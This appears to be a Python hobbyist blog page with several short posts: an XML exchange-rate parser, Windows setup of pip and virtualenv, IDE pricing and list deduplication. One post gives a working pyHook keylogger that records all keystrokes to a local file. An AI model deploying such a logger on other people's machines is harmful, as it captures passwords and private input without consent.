  • will install pygame module version 1.9.2a0 windows version
  • on amd64 operating systems
  • into python version 3.4

very simple to use it.

Thursday, September 18, 2014

News: Wing IDE 5.0.9 Released

At september 10, 2014 the development team released the new version of Wing IDE.
See the details here: 5.0.9 - CHANGELOG.txt , also if you want to purchase licenses then you have this choices:

Wing IDE Pro:

Commercial Use
For companies, paid individuals, organizations, and government
Full-Featured Python IDE
Windows, Linux, and OS X
Includes One Year Support+Upgrades
Extend Support+Upgrades at $89/year
License is Transferable
$245 per user
$1150 5-pack

Non-Commercial Use
For students, educators, academic researchers, hobbyists, and publicly funded charities
Full-Featured Python IDE
Windows, Linux, and OS X
Optional Support+Upgrades at $89/year
$95 per user

Wing IDE Personal:
General Use
A low-cost alternative Python IDE for students and hobbyists
Omits Some Features
Windows, Linux, and OS X
Optional Support+Upgrades at $89/year
$45 per user


Thursday, August 28, 2014

python book from O'Reilly Media - Save 50% .

Save 50% from O'Reilly Media.
The main goal it's to help you with the best possible performance in your Python applications.
See this book Python High Performance Programming.

Friday, February 14, 2014

Parsing feeds - get by attribute and value - part 2

Most developers use REST services or other data feeds that move data using XML.
This is a simple script to read online the xml file.
I used minidom but you can also use etree with ElementTree or cElementTree from etree.
I don't know if the ElementTree or cElementTree are more faster like minidom.
The script use urllib2 to open the file.
The file will show us the currency from each country.
The main goal of this script is : how to deal with attribute and value from xml files.
You can also see first part of this issue.
The structure of the xml file has also some attributes - currency.
Basicaly is something like this :
<!--xml version="1.0" encoding="UTF-8"?-->
-<dataset xsi:schemaLocation="http://www.bnr.ro/xsd nbrfxrates.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.bnr.ro/xsd">
-<header>
<publisher>National Bank of Romania</Publisher>
<publishingdate>2014-02-14</PublishingDate>
<messagetype>DR</MessageType>
</Header>
-<body>
<subject>Reference rates</Subject>
<origcurrency>RON</OrigCurrency>
-<cube date="2014-02-14">
<rate currency="AED">0.8909</Rate>
<rate currency="AUD">2.9529</Rate>
<rate currency="BGN">2.2913</Rate>
...
Now let see the script :
from xml.dom import minidom as dom
import urllib2

def fetchPage(url):
    a = urllib2.urlopen(url)
    return ''.join(a.readlines())

def extract(page):
    a = dom.parseString(page)

    item = a.getElementsByTagName('Rate')

    for i in item:
        if i.hasChildNodes() == True:
                print i.getAttribute('currency')+"-"+ i.firstChild.nodeValue

if __name__=='__main__':
    page = fetchPage("http://www.bnro.ro/nbrfxrates.xml")
    extract(page)
and the output is this :
AED-0.8909
AUD-2.9529
BGN-2.2913
BRL-1.3665
CAD-2.9879
CHF-3.6655
CNY-0.5394
CZK-0.1636
DKK-0.6005
EGP-0.4701
EUR-4.4813
GBP-5.4630
HUF-1.4517
INR-0.0527
JPY-3.2148
KRW-0.3078
MDL-0.2434
MXN-0.2467
NOK-0.5365
NZD-2.7388
PLN-1.0786
RSD-0.0387
RUB-0.0932
SEK-0.5074
TRY-1.4950
UAH-0.3865
USD-3.2721
XAU-137.6798
XDR-5.0505
ZAR-0.2981

Monday, February 10, 2014

My first logger python script to record keys .

Few days ago I worked with one issue : keyboard logger .
My first dilemma was: to use assemblly language or something simple like python.
My option was python - simple and fast to test how to deal with this issue.
About logger : A keyboard Logger is intended to record the keystrokes that a user inputs on a computer keyboard in addition to other user actions.
I make simple script after I search about how to deal with this.
You can see my script is simple and can be use if you want to record Python Interactive Interpreter.
I don't finish it , some keys like : backspace or enter will be put into log file.
So if you deal very well with python don't use this keys...
Anyway if I want to finish this then I need to fix this ...
Let's see the python script:
try:
 import pythoncom, pyHook, sys, logging
except:
 sys.exit()

#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}

specials = {9:'TAB',13:'ENTER', 27:'ESC'}
buffer = ''

def OnKeyboardEvent(event):
 try:
  logging.basicConfig(filename='C:\\aa\\log_output.txt',level=logging.DEBUG,format='%(message)s')
  global buffer
  
  if event.Ascii in range(32,127):
   print chr(event.Ascii)
   buffer += chr(event.Ascii)
  
  if event.Ascii in specials:
   print '<'+specials[event.Ascii]+'>'
   logging.log(10,buffer)
   buffer = ''
   logging.log(10,'<'+specials[event.Ascii]+'>')
   
  return True
 except:
  sys.exit()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Let's see the result of this :

The output log text file ...:
python 
<ENTER>
import os 
<ENTER>
import sys
<ENTER>


Sunday, February 2, 2014

Install python on windows 8.1 with distribute, pip, virtualenv and virtualenvwrapper-powershell .

Today I wand to show you something new. The goal is using python under Windows OS (Windows 8.1).

This tutorial will cover the instalation of Python 2.7 with distribute (0.7.3), pip (1.5.2), virtualenv (1.11.2) and virtualenvwrapper-powershell.

The default instalation folder I used is under C: drive

I used python 2.7.6.

It's a executable file ... just run it.

Now you have: C:\Python27\ folder with all files.

We need to using also the fork of the Setuptools project named distribute.

Download distribute zip file from python distribute 0.7.3.

Unarhive the file under C: drive and you will have C:\distribute-0.7.3 folder.

Go to distribute and let's install it.

C:\>cd distribute-0.7.3
C:\distribute-0.7.3>\Python27\python.exe setup.py --help
C:\distribute-0.7.3>\Python27\python.exe setup.py build
C:\distribute-0.7.3>\Python27\python.exe setup.py install

Also we need to install pip , see this pip webpage.

You need to get this python script from here.

Put this script into C:\Python27 folder and use this command to install pip.

C:\Python27>python.exe get-pip.py

Under site-packages you can see the pip and distribute ...

C:\Python27\Lib\site-packages>dir /w
 Volume in drive C has no label.
 Volume Serial Number is 9AE5-9AC9

 Directory of C:\Python27\Lib\site-packages

[.]
[..]
distribute-0.7.3-py2.7.egg
easy-install.pth
[pip]
[pip-1.5.2.dist-info]
README.txt
setuptools.pth
[virtualenv-1.11.2.dist-info]
virtualenv.py
virtualenv.pyc
[virtualenvwrapper_powershell-12.7.8-py2.7.egg-info]
[virtualenv_support]

Let's see if this python modules working ...

C:\Python27>python.exe
Python 2.7.6 (default, Nov 10 2013, 19:24:24) [MSC v.1500 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import distutils
>>> import pip
>>>

Edit your environment variable by adding: ";C:\Python27\Scripts\" and ";C:\Python27\", see image below:

After that you can restart the command shell or your windows os.

I just restart the command shell and working well with the new environment vars...


Now we need to install virtualenv and virtualenvwrapper-powershell using pip:

C:\>pip install virtualenv
C:\>pip install virtualenvwrapper-powershell

The virtualenv kit provides the ability to create virtual Python environments that do not interfere with either each other, or the main Python installation.

And virtualenvwrapper-powershell it's a PowerShell clone of Doug Hellmann's virtualenvwrapper.

C:\Python27>pip list
distribute (0.7.3)
pip (1.5.2)
setuptools (0.8b2)
virtualenv (1.11.2)
virtualenvwrapper-powershell (12.7.8)

... and this is all for today.

Friday, January 31, 2014

Simple way to remove duplicates from a list.

In Python 2.5 and later you can simple remove duplicates from a python list.

Let's see one simple example ...

>>> my_list = [1,2,3,22,33,11,33,'a','b','c','a']
>>> my_list = list(set(my_list))
>>> print my_list
['a', 1, 2, 3, 33, 11, 'c', 'b', 22]

As you can see the 33 and a items is removed.